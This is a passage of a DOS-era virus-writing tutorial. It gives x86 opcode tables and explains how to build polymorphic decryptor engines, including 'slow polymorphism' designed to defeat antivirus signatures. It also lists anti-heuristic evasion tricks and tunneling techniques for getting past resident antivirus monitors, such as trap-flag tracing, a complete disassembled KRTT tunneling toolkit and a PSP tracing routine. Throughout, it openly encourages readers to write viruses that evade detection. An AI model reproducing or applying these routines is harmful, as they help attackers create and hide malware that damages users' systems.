ÀÄÄÄÄÄÄÄÙ
ROL regmem8,1 D0 ^0
ROL regmem16,1 D1 ^0
ROL regmem8,CL D2 ^0
ROL regmem16,CL D3 ^0
ROL regmem8,imm8 C0 ^0 imm8
ROL regmem16,imm8 C1 ^0 imm8
ÚÄÄÄÄÄÄÄ¿
³ ROR ³
ÀÄÄÄÄÄÄÄÙ
ROR regmem8,1 D0 ^1
ROR regmem16,1 D1 ^1
ROR regmem8,CL D2 ^1
ROR regmem16,CL D3 ^1
ROR regmem8,imm8 C0 ^1 imm8
ROR regmem16,imm8 C1 ^1 imm8
ÚÄÄÄÄÄÄÄ¿
³ RCL ³
ÀÄÄÄÄÄÄÄÙ
RCL regmem8,1 D0 ^2
RCL regmem16,1 D1 ^2
RCL regmem8,CL D2 ^2
RCL regmem16,CL D3 ^2
RCL regmem8,imm8 C0 ^2 imm8
RCL regmem16,imm8 C1 ^2 imm8
ÚÄÄÄÄÄÄÄ¿
³ RCR ³
ÀÄÄÄÄÄÄÄÙ
RCR regmem8,1 D0 ^3
RCR regmem16,1 D1 ^3
RCR regmem8,CL D2 ^3
RCR regmem16,CL D3 ^3
RCR regmem8,imm8 C0 ^3 imm8
RCR regmem16,imm8 C1 ^3 imm8
Jumps, Calls and RetsÜ
ßßßßßßßßßßßßßßßßßßßßß
I must talk a little bit at this point about an interesting thing for you.
The jump offsets are calculated from da byte next to the whole jump instruc-
tion, for example, if we've a E9 00 00 ( JUMP NEAR ) we're jumping directly
to the next instruction, the instruction that is just after the jump. So,
looking this, we can know that a JMP 0001 will jump over 1 byte after the
jump. But... What happens if we want to jump downwards? Preety simple. If we
make a JMP FFFF, we're jumping to the data, and it'll hang sure. We can use
this formula, where the X is the final result, and X' help us to make our
calculations.
X' = jump address - destination address + 2
X = NEG X'
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Unconditional Jumps ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
JMP sig16 ( SHORT ) E9 sig16
JMP sig32 ( FAR ) EA sig32
JMP sig8 ( NEAR ) EB sig8
JMP regmem16 FF ^4
JMP FAR mem16:16 FF ^5
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Conditional Jumps ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
JO sig8 70 sig8
JNO sig8 71 sig8
JB sig8 72 sig8
JAE sig8 73 sig8
JZ sig8 74 sig8
JNZ sig8 75 sig8
JBE sig8 76 sig8
JA sig8 77 sig8
JS sig8 78 sig8
JNS sig8 79 sig8
JPE sig8 7A sig8
JPO sig8 7B sig8
JL sig8 7C sig8
JGE sig8 7D sig8
JLE sig8 7E sig8
JG sig8 7F sig8
JCXZ sig8 E3 sig8
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Call stuff ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
CALL sig32 9A sig32
CALL sig16 E8 sig16
CALL regmem16 FF ^2
CALL FAR mem16:16 FF ^3
ÚÄÄÄÄÄÄÄÄÄÄÄ¿
³ Returns ³
ÀÄÄÄÄÄÄÄÄÄÄÄÙ
RETN C3
RETF CB
IRET CF
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Loop stuff ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
LOOPNE/LOOPNZ sig8 E0 cb
LOOPE/LOOPZ sig8 E1 cb
LOOP sig8 E2 cb
MiscellaneousÜ
ßßßßßßßßßßßßß
ÚÄÄÄÄÄÄÄÄÄ¿
³ Loads ³
ÀÄÄÄÄÄÄÄÄÄÙ
LEA reg16,regmem16 8D RegInfoByte
LDS reg16,mem16:16 C4 RegInfoByte
LES reg16,mem16:16 C5 RegInfoByte
% Jumps / Calls generation %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is one of the most important things to do if you want to do the code
generated by your PER more real to lamer's eyes ;)
þ Jumps:
The creation of jumps is very easy, and very useful for our needs. Try to
avoid da do-nothing jumps, like JMP 0000, because if we put this kinda jumps
in excess,an heuristic flag will probably flagged. Make instructions natural
must be our goal. And... where have you seen any jump to the next opcode? :)
In order to create jumps, you must be careful with the offset, because if
you make it to low or too high, the computer will hang. You must do it
custom-made. It's a good idea to make the jumps' offsets variables ( between
1 and 5 will be enough ), and then place junk instructions. Make a procedure
for assure that your jumps will go to the right place. Remember: Imagination
is our best weapon.
Let's see a very simple Jx ( conditional jump ) generator. It's easy.
generate_jx:
call random ; Our random procedure
and al,0Fh ; A number between 0..16
add al,70h ; Add 70 for get instructions
stosb ; Put AL in ES:DI
xor ax,ax ; Make AL = 00
stosb ; Make a zero-jump <g>
ret
This isn't the best solution, but... works! :)
þ Calls:
A little bit harder than the jump construction. If we put calls as we put
jumps the code will hang ( sure! ). This is coz when we're making a call,
the offset is pushed onto the stack, and the ret will return to the offset
next to the call. So, if we put a call directly, our code will be completly
unuseful. There're two ways to avoid this. Let's explain the first one:
We make the call to the offset, then we make a jump that completly avoid
the call ( well, the call not... the FUCKING RET! ), we make the procedure
code, place the RET, and that's all! It must look like this:
[...]
call shit ÄÄÄÄÄÄÄ¿
[...] ÄÄÄÄÄÄÄÄÄÄijÄÄ¿
jmp avoid_shit ijÄijÄÄ¿
[...] ³ ³ ³
shit: ÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³
[...] ³ ³
ret ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
[...] ³
avoid_shit: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
[...]
Maybe da second way seems more easy to your eyes. Well, i'm gonna explain it
for your open mind :)
We must make a jump over da call, then generate the opcodes of the procedure
generate the RET, and we can call the subroutine code now ( and more times )
Let's see:
[...]
jmp avoid_shit Ä¿
[...] ³
shit: ÄÄÄÄÄÄÄÄÄÄijÄÄ¿
[...] ³ ³
ret ÄÄÄÄÄÄÄÄÄÄÄijÄijÄÄ¿
[...] ³ ³ ³
avoid_shit: ÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³
[...] ³ ³
call shit ÄÄÄÄÄÄÄÄÄÄÙ ³
[...] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
% Interrupt calls %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is VERY simple, believe me. We can call to this interrupts in our code
everytime we want: they're do-nothing interrupts. Let's see a little list:
INT 01h CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
INT 08h IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
INT 0Ah IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
INT 0Bh IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
INT 0Ch IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
INT 0Dh IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
INT 0Eh IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
INT 0Fh IRQ7 - PARALLEL PRINTER
INT 1Ch TIME - SYSTEM TIMER TICK
INT 28h DOS 2+ - DOS IDLE INTERRUPT
INT 2Bh DOS 2+ - RESERVED
INT 2Ch DOS 2+ - RESERVED
INT 2Dh DOS 2+ - RESERVED
INT 70h IRQ8 - CMOS REAL-TIME CLOCK
INT 71h IRQ9 - REDIRECTED TO INT 0A BY BIOS
INT 72h IRQ10 - RESERVED
INT 73h IRQ11 - RESERVED
INT 74h IRQ12 - POINTING DEVICE (PS)
INT 75h IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up)
INT 76h IRQ14 - HARD DISK CONTROLLER (AT and later)
INT 77h IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)
These are the INTs you can call without any kinda problem. I recommend you
to build a table with the number of the ints in order to make a procedure
that generates da INT opcodes. HEY! I forgot! The INT OpCode is CD, followed
by the interrupt number, that it's a byte.
Another very good choice is to make calls to the INT 21h/INT 10h/INT 16h
with do-nothing functions. Let's see the INT 21h possible functions...
AH=0Bh Read entry state
AH=0Dh Flush buffers
AH=19h Get current drive
AH=2Ah Get current date
AH=2Ch Get current time
AH=30h Get dos version number
AH=4Dh Get error code
AH=51h Get active psp
AH=62h Get active psp
AX=3300h Get break-flag
AX=3700h Get line-command separator
AX=5800h Get mem concept
AX=5802h Get umb insert
I think it is quite clear how to do the code. Generate a MOV AH/AX,value and
an INT 21h isn't hard. Just do it! :)
% Random number generator %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There's one of the most important this of your PER. The simplest way for
obtain a random number is to call to port 40h,and see what it returns. Let's
see some code:
random:
in ax,40h
in al,40h
ret
We can also use INT 1Ah, or another thing that we think that can return us
different numbers each time. If we want a number in a determinated range,
we can make use of the instuction AND. Let's see the simplest procedure for
make a random number in range:
random_in_range:
push bx
xchg ax,bx
call random
and ax,bx
pop bx
ret
It will return a number between 0 and da marked in AX-1. An optimized way to
do the random in range procedure is to use the division. Remember what the
division does, paying attention to the remainder. When we do a division, the
remainder can never be higher ( or equal ) to the divisor. So, the remainder
can be between 0 and the divisor - 1. Let's see how will be a procedure by
using division:
random_in_range:
push bx dx
xchg ax,bx
call random
xor dx,dx
div bx
xchg ax,dx
pop dx bx
ret
Preety simple, as you can see. The random number stuff will continue in the
next part of this chapter, the slow polymorphism.
% Slow polymorphism %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
If you know how this stuff fuck AVs, you'd think it's a very difficult tech-
nique, or something. No. The authors of the firsts polymorphic engines tho-
ugth that the best way to fuck AV was to make the decryptors very variables
each generation. It was a very good idea for the firsts PERs, but, the AVers
discovered that infecting thousands of baits with a polymophic virus, they
could see all the possible mutations, and then, add a simple scan string for
their ShitWare ( aka AntiViruses ). But... what happens if we make the de-
cryptors' mutation very slow? Then, da slow polymorphism was born. Yes, with
this simple idea, that can seem to be a bullshit, we can make AVers go mad.
The most important thing we must change in order to get slow polymorphism is
da random number generator. By changing this, we have a slow mutation engine
for our needs. We can improve it, but it'll work preety good for ALL our
needs. We need values that don't change fast, like month, day or something,
and then play something with them ( if you want, of course ) ;)
random_range:
push bx cx dx
xchg ax,bx
mov ax,2C00h
int 21h
xchg ax,dx
xor ax,0FFFFh
xor dx,dx
div bx
xchg ax,dx
pop dx cx bx
ret
And, with a routine like this, your PER is now 100% slow polymorphic. I
believe that the concept is quite clear.
Instead of this, you can test to add a counter that avoids mutations in a
huge period of time, but i prefer the above technique for slow polymorphy.
% Advanced polymorphy %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Your steps must go to advanced polymorphism. You must try to generate real-
istic structures, like a program with calls to subroutines, interrupts, play
with values already known, make comparisons followed by conditional jumps,
and whatever you can imaginate. You must always improve the variability of
your poly engine: if it's slow and very variable, AV will fuck off. Imagine
da posibilities: you can decrypt your code from top to bottom and vice-versa
use si, di, bx or whatever you want as count register, you can add a genera-
tor for long routines, such as little anti-debugging tricks ( neg sp/neg sp,
not sp/not sp... ), make a mid-virus ( or mid-file ) decryptor, an INT 1
decryptor ( hell good trick! ), make do-nothing memory movements, use word
operatons at time as byte ones, combine them, substitute them...
Else, you can try with something already more advanced, like envolving poly-
morphism, and else. There are some interesting documents about this fact,
like the Methyl's ( aka Owl[FS] ) ones.
% Last words about polymorphism %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
But, as the real world is a shit, the AV scum will try to get all our possi-
ble decryptors by disassembling our preety slow polymorphic engine.
But, here comes the armouring for save our ass. We must heavily protect our
PER with an encryption routine specially for it ( it must be a very ANTI-
DEBUGGING decryptor ). As they won't have enough time to disassemble the
engine, they won't see all it can do :) You have a very good selection of
ANTI-DEBUGGER techniques in the chapter with this name ( some chpts. above )
So, at this time, they will concentrate their efforts in the baits, and we
must avoid the infection of this non-sense files. More of this in ANTI-BAIT
chapter, some chapters below ;)
I want to see your PERs rocking the world! :)
ÄÄÄ´ Anti-Heuristics ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The heuristics search for suspicious things at our code. Just avoid the use
of things like "*.com" and so on... Well, i explain it better. Follow this
points.
þ Don't use wildcars like "*.com" or "*.exe":
This kinda things are only used in runtime <g> viruses, but if you really
need it... You can put something like "*.rom" instead "*.com" and then
something like this:
mov byte ptr [bp+comfile+2],"c"
Remember: before writing virus body, restore the r of "*.rom"...
mov byte ptr [bp+comfile+2],"r"
or you've made a null effort.
In this example we assume BP as delta offset, comfile as db "*.rom",0 and
the virus is a direct action infector <g>
þ Don't use obvious routines:
We're talking about the classic INT 21h AH = 40h, INT 21h AX = 4301h...
You can made a lot of things... let's play with AX = 4301h
I've read this in somewhere i don't remember now ( Maybe Wizard's tutorial
in spanish :-? )
push 4301h
pop ax
But there's a problem... Compile it and then disassembly it. Let's see some
TASM generated shit :) Of course, this only happens if da selected processor
in the source is worse than a 386.
push ax bp
mov bp,sp
mov word ptr [bp+02],4301h
pop bp ax
This is the disassembled code of push 4301h and pop ax. It takes 11 bytes!!!
I think it's a waste of code. Better use things like:
mov ax,4300h
inc ax
or better:
mov ax,0043h
inc ah
xchg ah,al
and also:
mov bx,4300h
xor ax,ax
xchg ax,bx
þ Be paranoid with all the routines of your polymorphic engine:
Be careful of the use of a lot of garbage, like one byte instructions ( cli,
sti, lahf, nop, std, cld, cmc... ). The AV can show a flag. The heuristic
engine will try to decrypt yer code. I recommend you to put an antidebugging
routine for stop it. Take a look to ARMOURING chapter in this document.
þ Don't use strange calls for your residence check:
If you use some like AX = DEADh for your residence check, a flag will be
triggered. Use checks below 6E00h. There're a lot of functions below 6E00h
unused. Take a look to Ralph Brown's interrupt list for more info.
þ Don't use rare interrupts:
If you use interrupts above 80, a flag will be triggered.
þ Optimize your code as much as possible:
Look the tutorials that talk about this ( like darkman's in VLAD#2, or the
one in this same document )
þ Try to be original in the ë offset obtaining:
For obtain delta offset don't use:
call delta
delta:
pop si
sub si,offset delta
This is used by a lot of viruses, and a flag will be triggered sure. ( In
this example, delta offset will be in SI )
There are a lot of alternative ( yeah! ) ways to get the delta offset:
mov bx,old_size_of_infected_file
jmp bx
( You can use another registers than BX, of course ;) )
another one:
call delta
delta:
mov si,sp
mov bp,word ptr ss:[si]
sub bp,offset delta
( In this, BP will be Delta offset )
and another one:
mov bp,sp
int 03h
delta:
mov bp,ss:[bp-6]
sub bp,offset delta
þ Make your encryption routine very optimized. If you use some shit, the
heuristic will catch the virus, and all our efforts will go shit.
þ Make your TSR routines very strange:
Try to avoid the compare with 0:
cmp byte ptr [0],"Z"
þ In your int 21 handlers avoid to use the " real " cmps, just try with
something like this ( examples with 4bh ):
xchg ah,al
cmp al,4Bh
[...]
xchg ah,al
or make a xor with the value.
xor ax,0FFFFh
cmp ah,(4Bh xor 0FFh)
xor ax,0FFFFh
or this two at time ;)
xor ax,0FFFFh
xchg ah,al
cmp al,(4Bh xor 0FFh)
xchg ah,al
xor ax,0FFFFh
REMEMBER THIS: After the call to the real int 21 return all the values as
they are before making this routines
þ The heuristic will search with compares with "MZ" or "ZM" like
cmp ax,"ZM"
cmp ax,"MZ"
You can try with something like this:
mov al,byte ptr [header]
add al,byte ptr [header+1]
cmp al,"M"+"Z"
This is a very useful routine: You are checking at the same time for MZ and
ZM. Assumed things... Header contains at least the 2 firsts bytes of the
header. Or you can make it, but in lower case, with a simple or ax,2020h
( AX is the register containing the string ), and compare with something
like:
cmp ax,"zm"
cmp ax,"mz"
þ Try to make your virus as rare as you can :)
þ Scan a lot of times your code with a lot of AVs to see if it's detected
þ Change sightly the routines for restore the COM and EXE hosts. Let's see
now how to make an anti-heuristic restore for COM files:
mov di,101h ; This shit will fool AV
dec di
push di ; DI=100h :)
lea si,[bp+offset OldBytes] ; Restore 3 bytes
movsw ; ( Change it for your needs )
movsb
ret ; Jump to 100h ;)
oldbytes db CDh,20h,00
And now let's see how to fuck heuristics when EXE restoring:
mov bx,bp ; Use BX as delta offset ;)
mov ax,ds
add ax,0010h
add word ptr cs:[bx+@@CS],ax
add ax,cs:[bx+@@SP]
cli
mov ss,ax
mov sp,cs:[bx+@@SS]
sti
db 0EAh ; JUMP FAR
cs_ip equ this dword
@@IP dw 0000h ; In 1st gen, put here the offset to
; a MOV AX,4C00h/INT 21h
@@CS dw 0000h
ss_sp equ this dword
@@SS dw 0000h
@@SP dw 0000h
% Last things %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The huge fail some heuristics have ( like TBSCAN ) are that they dont search
for the values of the registers. We can exploit this thing. Just think about
all da possibilities to make a mov ax,4301h or a cmp ah,4Bh... All is in yer
hands...
ÄÄÄ´ Tunneling ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
We call tunneling to all the attemps for obtain the original vectors of any
interrupt, that it's about all times da INT 21h. Well, all attempts can't be
called tunneling ( for example, the backdoors ), but we'll talk about them
in this article tho.
Tunneling was developed for avoid the TSR watchdogs. This kinda anti-virus
are ununderstandable ( whatta word! :) ) for da normal user, coz they notify
the attempts to hook interrupts, open executables, and all the stuff a virus
ussually do. This methods are really hard to fool with stuff like the show
before ( anti-heuristics ), because they don't search for bits, they only
hook and control the important interrupts ( 21h, 13h... ).
The most populars TSR watchdogs are the Flintstones' VSAFE, VSHIELD...
Our objective is to get the original vectors but... how can do it? You have
a lot of ways for choose.
% Tracing %
ÄÄÄÄÄÄÄÄÄÄÄ
This is probably one of the most used ways, but it's clearly unsafe. Yes,
this type of tunneling is very fragile, and you will know why if you pay
attention to the following lines :)
There is a flag, called Trap Flag ( ussually abbreviated as TF ), used for
put the processor in single-stepping mode if it' s activated. The single-
stepping mode is what debuggers use for execute the code instruction by
instruction, and we can use it for our needs, of course :)
Every time an instrution is executed, and da TF is activated, the INT 1 will
be called, so this is our time :) But there isn't an intruction for activate
it, so we must play with the flags. Let's see how we can activate the TF:
pushf ; Push flags to stack
pop ax ; And put them into AX for play
or ax, 100h ; We activate the TF at this point
push ax ; We must push AX...
popf ; for restore our preety flags :)
With this simple code you have activated the trap flag. I forgot to put the
flags, so here you have:
Position 0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
Flags -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF
The flags are in a 16 bit register, as you can see. Here you have the list
of flags, and its meanings:
CF : Carry Flag Indicates an arithmetic carry
PF : Parity Flag Indicates an even number of 1 bits
AF : Auxilary Flag Indicates adjustment needed in BCD numbers
ZF : Zero Flag Indicates a zero result, or equal comparison
SF : Sign Flag Indicates negative result/comparison
TF : Trap Flag Controls Single Step operation
IF : Interrupt Flag Controls whether interrupts are enabled
DF : Direction Flag Controls increment direction on string regs.
OF : Overflow Flag Indicates signed arithmetic overflow
Let's remember some things about the interrupts. Every time we call an INT
at the stack are 6 bytes: the flags and the CS:IP. You must remember this,
because we must to call to the INT 21h, and then trace its code. If after da
call the CS ( in the stack ) is equal to the one that the DOS has given to
us when we've requested for interrupt vectors, the INT is the good one.
The simples routine for make tunneling could be like this one:
int01handler:
push bp
mov bp, sp
push dx
mov dx, word ptr cs:[dossegment]
cmp [bp+6], dx
jz found
pop dx
pop bp
iret
found:
mov dx, [bp+6]
mov word ptr cs:[int21_seg], dx
mov dx, [bp+4]
mov word ptr cs:[int21_off], dx
pop dx
pop bp
add sp, 6
[...]
But this kinda tunneling, as i said at the beginning of the explanation, has
a lot of weak points. We aren't protected to POPF, PUSHF, CLI, and a TF
deactivation, because we're really EXECUTING the code.
If the AV redirected the INT 21h to another INT, we're fucked again. As you
can see, the tracing isn't safe.
Well, we can solve some problems by checking for some instructions, as PUSHF
and POPF, for don't let lamerz to deactivate the TF.
Anyways, the tracing ain't the best choice...
% Byte to Byte %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The most popular ( the only one ) source is the Khntark Recursive Tunneling
Toolkit ( aka KRTT ). The method it uses is to make comparisons to all the
opcodes in the int handler, in order to see if it's a CALL, CALL FAR, JUMP
FAR, and JUM OFF:SEG, and then get this value as INT 21h. Let's see the
complete disassembly of the file KRTT41.OBJ of the KRTT41 package, that is
main center of the toolkit.
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Khntark Recursive Tunneling Toolkit 4.1 (c) 1993 by KhntarK
; Disassembly by Billy Belceb£/DDT
;
; INPUT:
; BP : 01 Searches for INT 2Ah handler
; BP : 02 Searches for INT 13h handler
; BP : another value Searches for INT 21h handler
; OUTPUT:
; AH : 00 Not found
; AH : 01 Found!
; AH : 02 Int 21h / 2Ah / 13h Not Hooked
; AH : 03 DOS internal interrupts are hooked
; If found:
; DX DOS INT 21h / 2Ah / 13h SEGMENT
; DI INT 21h / 2Ah / 13h OFFSET
; AL RECURSION DEPT
; DESTROYED:
; AX,BX,CX,DX,DI,BP,ES
;
; Assemble:
; TASM KRTT41.ASM
; TLINK <virus name> KRTT41.OBJ
;
; Call TUNNEL for make tunneling
;
; NOTE: It's the first time i try with a disasm of something, so if i made a
; _HUGE_ mistake, notify me :) This ain't my job...
.model tiny
.code
public tunnel
tunnel:
cli ; Disable interrupts for tunneling
xor ax,ax
mov es,ax ; Make ES = 0 for get IVT
xor di,di
mov dx,es:[00AEh] ; Checks for assure tunneling
mov cx,es:[00A2h] ; INT 26h =! INT 28h
cmp dx,cx
jz check
mov cx,es:[00B2h] ; INT 26h =! INT 28h =! INT 2Ch
cmp dx,cx
jz check
mov ah,03 ; Checks failed : DOS ints are hooked
ret
check:
cmp bp,01h ; BP=1 Hook INT 2Ah
jz int2A
cmp bp,02h ; BP=2 Hook INT 13h
jz int13
int21:
mov bx,es:[0084h] ; BP=Other Hook INT 21h
mov es,es:[0086h]
jmp go4it
int13:
mov bx,es:[004Ch] ; Get INT 13h vectors from the IVT to
mov es,es:[004Eh] ; ES:BX
mov bp,es
mov dx,0070h
cmp bp,dx
jz nothooked
jmp letstunnelit
int2A:
mov bx,es:[00A8h] ; Get INT 13h vectors from the IVT to
mov es,es:[00AAh] ; ES:BX
go4it:
mov bp,es
cmp dx,bp
jnz letstunnelit
nothooked:
xchg bx,di
mov ah,02h ; INT not hooked *yeah* ;)
ret
letstunnelit:
call main_body ; Go and tunnel it
sti
ret
main_body:
push es
push bx
cmp al,07h ; Check for recursion
jz exit
cmp ah,01h ; Found ?
jz exit
inc al
mov cx,0FFFAh
sub cx,bx
main_loop:
push bx
cmp byte ptr es:[bx],0E8h ; Is OpCode a CALL ?
jz callsig16
cmp byte ptr es:[bx],0EAh ; Is it a JUMP OFFSET:SEGMENT ?
jz far_stuff
cmp byte ptr es:[bx],09Ah ; Is it a CALL FAR ?
jz far_stuff
cmp byte ptr es:[bx],02Eh ; A Segment Override CS maybe ? :P
jnz jmpfar
cmp byte ptr es:[bx+01],0FFh ; A JUMP FAR ?
jnz jmpfar
cmp byte ptr es:[bx+02],01Eh ; PUSH DS ?
jz far_stuff2
cmp byte ptr es:[bx+02],02Eh ; CS ? ( again )
jnz jmpfar
far_stuff2:
mov bp,es:[bx+03]
dec bp
xchg bx,bp
jmp far_stuff
jmpfar:
pop bx
cmp ah,01h ; Found ?
jz exit
cmp al,07h ; Check for recursion
jz exit
inc bx
loop main_loop ; And loop it
callsig16:
pop bx
add bx,03h
loop main_loop
exit:
pop bx
pop es
ret
far_stuff:
pop bp
add bp,04h
push bp
cmp es:[bx+03],dx
jz found
cmp word ptr es:[bx+03],00h
jz jmpfar
push es
pop bp
cmp es:[bx+03],bp
jz jmpfar
mov bp,bx
mov bx,es:[bx+01] ; Where it points
mov es,es:[bp+03]
call main_body
jmp jmpfar
found:
mov di,es:[bx+01]
mov ah,01 ; INT 21 found
jmp jmpfar
end tunnel
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
I you want the full package, search for it. It's very easy to find.
But the KRTT isn't safe. " FUCK! " you can think. The tunneling seems to be
a very unsafe and fragile tecnique. This happens only in this old tecniques.
The KRTT will suck if the control is returned by another instruction that
isn't da four implemented. It's very easy to call INT 21h with a conditional
jump or a RETF, and this will fuck us. And this tecnique MUST be recursive,
due its nature.
% PSP tracing %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
If you remember the VERY important structure that was PSP, and you see the
description of this same document about the offset 0005, you will think...
" What the hell is this of the FAR CALL to the INT 21 ? ". This offset of da
PSP is quite obsolete, it's only preserved for compatibility with very old
programs. But it contains very interesting data, like INT 21h dispatcher.
The INT 21h dispatcher ain't da INT 21h handler, don't forget it. As Satan's
Little Helper said, da offset PSP:6 can point directly to the dispatcher, or
point indirectly, that requires some playing with the double nop call to the
first one.
The below routine is from VLAD#3 ( whatta good group! ), an article written
by Satan's Little Helper, that shown the way for get INT 21h address by
using PSP.
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; PSP tracing routine by Satan's Little Helper
; Published in VLAD#3
;
; INPUT:
; DS PSP segment
; OUTPUT:
; DS:BX INT 21h address
; CF 0
; if tunnel failed:
; DS:BX 0000:0000
; CF 1
psp_trace:
lds bx,ds:[0006h] ; a pointer to dispatch handler
trace_next:
cmp byte ptr ds:[bx],0EAh ; JMP SEG:OFF ?
jnz check_dispatch
lds bx,ds:[bx+1] ; point to the SEGMENT:OFFSET
cmp word ptr ds:[bx],9090h
jnz trace_next
sub bx,32h ; 32h byte offset from dispatch
; handler
cmp word ptr ds:[bx],9090h ; If all is OK, INT 21h has this
jnz check_dispatch ; signature ( 2 NOPs )
good_search:
clc
ret
check_dispatch:
cmp word ptr ds:[bx],2E1Eh ; PUSH DS, CS: ( prefix )
jnz bad_exit
add bx,25h
cmp word ptr ds:[bx],80FAh ; CLI, PUSH AX
jz good_search
bad_exit:
stc
ret
;ÄÄÄ[ CUT HERE ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Preety simple and effective. Test it! And, with the skeleton of the PSP tra-
cing we can use another method, the INT 30h backdoor.
The PSP tracing is better than the normal tracing, because in the second one
we don't know if we're executing the code of an AV, and using the PSP this
can't occur.
% INT 30h backdoor %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is very easy, if you undertood da above technique. The INT 30h has code
to jump to the dispatcher, so we can put something like this:
xor bx,bx
mov ds,bx
mov bl,0C0h ; INT 30h offset in IVT
jmp trace_next
Be warned that the INT 30h in Windoze enviroment is used for another purpo-
ses, but that is another history :)
% Code Emulators %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The first article i can remember is the one that Methyl [IR/G] made some ti-
me ago, published in IR#8 ( IRG#1? ). This little lesson ain't as Methyl one
i haven't so much space ( this tute is becoming huge ), so this lesson is
about 100% theorical. But don't give up, it's very easy to understand. For
me the emulation seems to be an improvement to the old byte-to-byte scanning
but much more enhaced and safe. I'm not saying that it's EQUAL. The byte-to-
byte scanning only compared da opcodes, and the emulation makes some playing
around to make the same as da instruction makes when executing: the emulati-
on follows da FLOW of the program, makes the fake jumps, the calls... And in
this way, it searches for the possible INT 21h jump, that is what we need.
Ok, this is the concept. If you wanna know more, i suggest you to download
the IR#8, and take a look to Methyl's tute. That is a good magazine, so
enjoy its read!
% Advanced tunneling %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Ahhh... the same shit of all this document: i don't want to make your head
explode with too much knowledge. There're techniques much more safe, cool,
new... but they're too much hard, and it implementation in this document
would suck a hugh amount of your hard disk :)
ÄÄÄ´ Anti-tunneling ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Tunneling tecniques are also used by da ShitWare ( AntiViruses ) for install
its products, and all our efforts in order to catch the original INT 21h
vectors will suck, coz they're using the same weapons that we use. And we
don't like this. Also, other viruses can tunnel us, and this ain't cool. The
system is OURS, and no one else! :)
As ShitWare uses routines for detect if someone is tracing, we can use their
own routines in order to fight againist them: they're unprotected to this.
As we used a routine to activate the trap flag tor tracing... Could we use
another for deactivate it? Sure. It's very simple. Instead using a OR for
activate it, for deactivate we must use an AND.
pushf
pop ax
and ah,11111110h
push ax
popf
